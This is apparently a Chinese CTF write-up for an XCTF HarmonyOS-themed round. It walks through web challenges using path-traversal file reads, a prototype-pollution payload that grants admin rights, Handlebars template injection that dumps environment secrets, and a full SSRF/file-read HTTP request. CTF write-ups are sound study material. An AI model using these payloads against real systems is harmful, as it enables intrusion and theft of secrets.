还是太菜,诶诶,一切都会好起来的!!!

XCTF高校网络安全专题挑战赛(HarmonyOS和HMS场,12.27场)

战队名称:咕噜灵波~

战队排名:31

排名截图:

image-20201228162433735.png


WEB:

签到

​ 直接关注 ”XCTF联赛公众号“,然后输入”xctf“,就能拿到 flag 了!:

image-20201228162705903.png

​ 得到flag:flag{define_a_fully-connected_world_with_your_code}

flag{define_a_fully-connected_world_with_your_code}

​ 后话:

​ 公众号老套路了。


华为HCIE的第一课

​ 刚开界面是一个要求输入用户名的界面,u1s1做的还挺顺眼:

image-20201228163639192.png

​ 随便输入一个名字后,得到一个计算IP的界面:

image-20201228163733245.png

​ 下边有一个开发选项,点一下:

image-20201228163756272.png

     emmm,看似是权限不够了。不过上边有个可疑的地方,比如 `?f=calc.html` 看起来很可能是一个文件包含,于是传参`?f=admin.html`:

image-20201228164035597.png

​ 显然这个f参数存在包含的功能的,不过这个admin.html还是用不了,只是可用得知这里似乎可用自己写入代码执行,这里不妨尝试包含一下 ?f=../../../../../etc/issue,然后就下载下来咯:

image-20201228164454915.png

​ 如果 ?f=[一个错误的文件名],那么得到路径:

Error: ENOENT: no such file or directory, stat '/usr/local/app/views/a'

​ emmm,看起来有点像 nodejs , 尝试读 ?f=../app.js,得到源码:

image-20201229183905728.png

​ 行吧,这个时候根据 app.js 的内容,发现还存在 ./routes/calc.js./routes/login.js,以及 ./routes/admin.js 这3个文件,那就读呗:

app.js:

const express = require('express');
const bodyParser = require('body-parser');
const path = require('path');
const hbs = require('hbs');
const session = require('express-session');
const FileStore = require('session-file-store')(session);
const env = require('dotenv').config()
const app = express();

app.use(express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.use(session({
    name: "session",
    secret: env.parsed.secret,
    resave: false,
    saveUninitialized: true,
    store: new FileStore({path: __dirname+'/sessions/'})
}));
app.use((req,res,next) => {
    if (!req.session.isLogin) {
        req.session.isLogin = 0;
    }
    next()
})

app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express);
app.set('view engine', 'html');
app.set('views', __dirname + '/views');

require("./routes/calc.js")(app)
require("./routes/login.js")(app)
require("./routes/admin.js")(app, env)

app.listen(80, "0.0.0.0", () => {
    console.log("0.0.0.0:80")
});

calc.js:

module.exports = (app) => {

    const ip = require("ip");

    const {checkip, checkmask} = require("./util")

    app.post('/calc', (req, res) => {
        res.set({"Content-Type" : "application/json;charset=utf-8"})

        if (req.body.ip_1 === undefined
            || req.body.ip_2 === undefined
            || req.body.ip_3 === undefined
            || req.body.ip_4 === undefined
            ||  req.body.netmask === undefined ) {
            return res.json( {
                "code": -1
            })
        }

        let user_ip = `${req.body.ip_1}.${req.body.ip_2}.${req.body.ip_3}.${req.body.ip_4}`
        let netmask = req.body.netmask
        if (!checkip(user_ip) || !checkmask(netmask))
            return res.json( {
                "code": -1
            })

        //calculate
        let ipsubnet = ip.cidrSubnet(`${user_ip}/${netmask}`)
        let result = {
            "code" : 0,
            "numofaddr" : `${ipsubnet.numHosts}`,
            "snm" : ipsubnet.subnetMask,
            "nwadr" : ipsubnet.networkAddress,
            "firstadr" : ipsubnet.firstAddress,
            "lastadr" : ipsubnet.lastAddress,
            "bcast" : ipsubnet.networkAddress
        }

        return res.json(result)
    })

}

login.js:

module.exports = (app) => {

    const path = require("path")
    app.get('/', (req, res) => {
        if (!req.query.f) {
            if (req.session.isLogin === 1)
                return res.redirect("/?f=calc.html");
            else
                return res.redirect("/?f=login.html");
        }
        let f = req.query.f
        res.sendFile(path.join(__dirname + "/../views", f))
    })

    app.post('/', (req, res) => {
        if (!req.body.username || typeof req.body.username !== 'string') {
            req.status(403).end( "forbidden" )
            return
        }
        req.session.name = req.body.username;
        req.session.isLogin = 1;
        res.redirect("/?f=calc.html")
    })

}

admin.js:

module.exports = (app, env) => {

    const {htmlencode, replaceAll, md5} = require("./util")
    const fs = require("fs")
    const path = require("path")

    app.get('/admin', (req, res) => {
        let user
        try {
            user = JSON.parse(`{"name" : "${req.session.name}", "time" : "${Math.ceil(new Date().getTime() / 1000)}", "ip" : "${req.ip}"}`)
        } catch (e) {
            res.end("error")
            return
        }
        let userinfo = {}
        Object.keys(user).forEach((key) => {
            if (key.trim() === "isAdmin")
                userinfo[key] = 0
            else userinfo[key] = user[key]
        })
        
        if (req.session.ip === '127.0.0.1')
            userinfo.isAdmin = 1;

        req.session.name = userinfo.name
        req.session.time = userinfo.time
        req.session.ip = userinfo.ip
        req.session.isAdmin = userinfo.isAdmin

        if (req.session.isAdmin !== 1) {
            res.end("forbidden")
            return;
        }

        res.render("admin", {"name":req.session.name})
    })

    app.post("/admin", async (req, res)=>{
        if (!req.session.isAdmin || !req.body.code) {
            res.status(403).end("forbidden")
            return
        }

        let html = "name : {{name}}, time : {{time}}, ip : {{ip}} \ntips: {{env.banner}}<br><a href='/admin'>返回</a><br><br>\n\n" + fs.readFileSync(path.resolve(__dirname, "../views/calc.html"))
        let list = ['secret', 'env', 'flag', 'if', 'unless', 'for', 'lookup', '[', ']', '@' ]
        let code = req.body.code + ""
        let padd = `<p class="t-big-margin no-margin-b flex-center">这里开发中...&nbsp; <a href="/admin" target="_blank">去开发</a></p>`

        await list.forEach((black) => {
            code = replaceAll(black, htmlencode(black), code)
        })

        html = html.replace(padd, code)
        let filename = md5(html) + ".html"
        let filepath = path.resolve(__dirname, "../views/users/"+filename)
        if (fs.existsSync(filepath))
            fs.unlinkSync(filepath)
        fs.writeFile(filepath, html, err => {
            if (err) {
                res.end("error")
            } else {
                res.render("users/"+filename, {
                    "name" : req.session.name,
                    "time" : Math.ceil(new Date().getTime() / 1000),
                    "ip" : req.ip,
                    "env" : env.parsed
                })
            }
        })

    })

}

​ 那么由于在写 WP 的时候题目环境关了,这里就不瞎扯这么多了,直接说解法吧。

​ 这道题实际上即是关于单变量的 原型链污染 + hbs模板注入,首先来分析一下 admin.js 中的一些关键部分:

# GET方式路由
app.get('/admin', (req, res) => {
     let user
      try {
          # 解析JSON数据,内容分别是 `用户名(这个是刚开始输入的,可控)``时间戳``访问IP` 到变量 {user}
         user = JSON.parse(`{"name" : "${req.session.name}", "time" : "${Math.ceil(new Date().getTime() / 1000)}", "ip" : "${req.ip}"}`)
      } catch (e) {
         res.end("error")
          return
      }
        let userinfo = {}
        
        # 遍历 {user} 变量,将其键值对应到 {userinfo} 变量中
        Object.keys(user).forEach((key) => {
            # 如果 {user} 解析到 "isAdmin" 的键的内容则强行将值设为 0 
            if (key.trim() === "isAdmin")
                userinfo[key] = 0
            else userinfo[key] = user[key]
        })
        
    	# 如果请求的 IP'127.0.0.1' 则设 {userinfo} 变量的 "isAdmin" 值为 1
        if (req.session.ip === '127.0.0.1')
            userinfo.isAdmin = 1;
		
    	# 给当前{session}赋值
        req.session.name = userinfo.name
        req.session.time = userinfo.time
        req.session.ip = userinfo.ip
        req.session.isAdmin = userinfo.isAdmin
		
    	# 如果{session}中的 "isAdmin" 值不为 1 ,则显示 "forbidden" ,并结束 
        if (req.session.isAdmin !== 1) {
            res.end("forbidden")
            return;
        }
		
    	# 渲染 `admin.html` 页面,将页面中的 {{name}} 替换成 {session}"name" 的值
        res.render("admin", {"name":req.session.name})
    })

		# POST路由,如果 {session}"isAdmin" 值取反不为 true ,或未传入 "code" 键名的POST参数,则显示 "forbidden" ,并结束
    app.post("/admin", async (req, res)=>{
        if (!req.session.isAdmin || !req.body.code) {
            res.status(403).end("forbidden")
            return
        }
		
        # 这一串是内容,其中嵌入点为 `{{name}}``{{time}}`, 以及 `{{env.banner}}`
        let html = "name : {{name}}, time : {{time}}, ip : {{ip}} \ntips: {{env.banner}}<br><a href='/admin'>返回</a><br><br>\n\n" + fs.readFileSync(path.resolve(__dirname, "../views/calc.html"))
        
        # 然后到黑名单设置
        let list = ['secret', 'env', 'flag', 'if', 'unless', 'for', 'lookup', '[', ']', '@' ]
        
        # 将从POST传入的键名为 "code" 的内容强制转换成字符串
        let code = req.body.code + ""
        let padd = `<p class="t-big-margin no-margin-b flex-center">这里开发中...&nbsp; <a href="/admin" target="_blank">去开发</a></p>`
		
        # 过滤传入的值
        await list.forEach((black) => {
            code = replaceAll(black, htmlencode(black), code)
        })
		
        # 写文件并渲染!!!
        html = html.replace(padd, code)
        let filename = md5(html) + ".html"
        let filepath = path.resolve(__dirname, "../views/users/"+filename)
        if (fs.existsSync(filepath))
            fs.unlinkSync(filepath)
        fs.writeFile(filepath, html, err => {
            if (err) {
                res.end("error")
            } else {
                # 渲染的嵌入点一一对应  `{{name}}``{{time}}`, 以及 `{{env.banner}}`
                res.render("users/"+filename, {
                    "name" : req.session.name,
                    "time" : Math.ceil(new Date().getTime() / 1000),
                    "ip" : req.ip,
                    "env" : env.parsed
                })
            }
        })

​ 这里先想想如何成为 admin 吧,实际上也很简单,只需要对 userinfo 进行简单的 原型链污染 即可啦,至于什么是 原型链污染 ,这里就不多阐述,简单的一个好理解的例子就好了:

# 比如以下几个是相等的
let a1 = {}
let a2 = {}
let a3 = {"try":"123"}
a1["__proto__"] = {"try":"123"}
a2.try = '123'

(a1.try === a2.try) && (a2.try === a3.try) # 这个是true

# 然而 `a1` `a2` `a3` 的值却分别为如此:
> console.log(a1)
{}
undefined
> console.log(a2)
{ try: '123' }
undefined
> console.log(a3)
{ try: '123' }
undefined

# 实际上
> a1.__proto__
{ try: '123' }
> a2.__proto__
{}
> a3.__proto__
{}

# 显然变量{a1}原型为字典,由于变量{a1}是实例化的对象,那么它们的会有同一个原型,即是 __proto__。当需要得到变量{a1}中的某个值时,会先在变量{a1}的本层中搜索该变量,若不存在则向上层搜索,直至到 __proto__ 。
# 因此,a1.try 实际上是不存在的,所以它会接着往上层搜索直到 __proto__,然后,诶原来a1.__proto__.try是存在的,那没问题,就取它吧。

​ 而在以下代码中是存在 JSON 数据注入的:

user = JSON.parse(`{"name" : "${req.session.name}", "time" : "${Math.ceil(new Date().getTime() / 1000)}", "ip" : "${req.ip}"}`)

​ 由于这里题目环境是关了,这里可以输入的是 req.session.name ,我就直接放出 payload 吧:

admin","__proto__":{"isAdmin":1},"BMV5":"1

​ emmm,对就这么简单,easy!!!然后 req.session.isAdmin 也就由 useinfo.__proto__.isAdmin=1 赋值进去啦!

​ 只是这里显然, flag 应该是藏在 env 中的,但是 env 这玩意在黑名单中,是被过滤了的。这就涉及到 hbs模板注入 了, 当然这里也ban了关于 hbs模板 有关渲染的不少语法,比如 if unless lookup for 等等,但是没关系啊,这里可以用循环啊:

each

见名知意,用于处理遍历数据,相当于for循环, 多用于批量生成dom。

  • 提供默认变量

    • @first/@last 当该对象为数组中第一个/最后一个时返回真值
    • 当前遍历对象对数组时,@index表示当前索引,this表示当前值
    • 当前遍历对象为对象时,@key表示当前key, this表示当前值
  • 可以用相对路径的方式来获取上层的上下文,多用于多层遍历取外层遍历数据,用法见下例

  • 可以用 as |xxx|的形式给变量起别名,循环中通过别名可以引用父级变量值。当然也可以通过相对路径的方式引用父级变量。(不过亲测serv_shop项目自定义名会报错,原因未知。)

    ​ 那么,比如:

image-20201229195957438.png

​ 现在就可以得到 this 的一些内容了,显然,最后一个 [object Object] 即是 env.parse 咯,那再遍历一次即可,最终 payload

code={{#each this}}
	{{#each this}}
		{{this.toString}}
	{{/each}}
{{/each}}

​ 那么就得到:

image-20201229200348232.png

​ 得到flag:flag{fe76e78f19aa1fd1b69fd0a9eedce8be}

flag{fe76e78f19aa1fd1b69fd0a9eedce8be}

​ 后话:

image-20201229200616340.png

EZLOGIN(未解,仅想吐糟)

​ 这里要强力说一下这个玩意!!!噢还有,环境关了,复现不了!

​ 最终 payload

GET /mmman4g.php?url=FILE://www.harmonyos.com/../../../../../../var/www/html/flag.php HTTP/1.1
Host: 121.37.196.163:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Origin: http://121.37.196.163:8080
Connection: close
Referer: http://121.37.196.163:8080/
Cookie: PHPSESSID=nu2gum4no386pk5dcc4unnkjj7; key=tsjkqOjUOX68na4/ltk1Zw%3D%3D; user_info=KOqUWozfWACPVmoxpe8MBGNX8Ji7ZUwImz4A8k55fBhsBs/rZM5PGNaCCD1x2mqJo%2Bq3azXr2%2BM7PAKjE/ydpg%3D%3D
Upgrade-Insecure-Requests: 1

​ 真的是 难度不够,脑洞来凑 ,气死我也!!!

image-20201229200943518.png

还有!!!

image-20201229201023239.png

​ 后话:

​ 第一关是实验吧套壳,第二关是脑洞,气死我也!


​ 难受,最后排名是 35,和 广外女生 就差 0.05 ,靠!!!一定要让自己变得更优秀!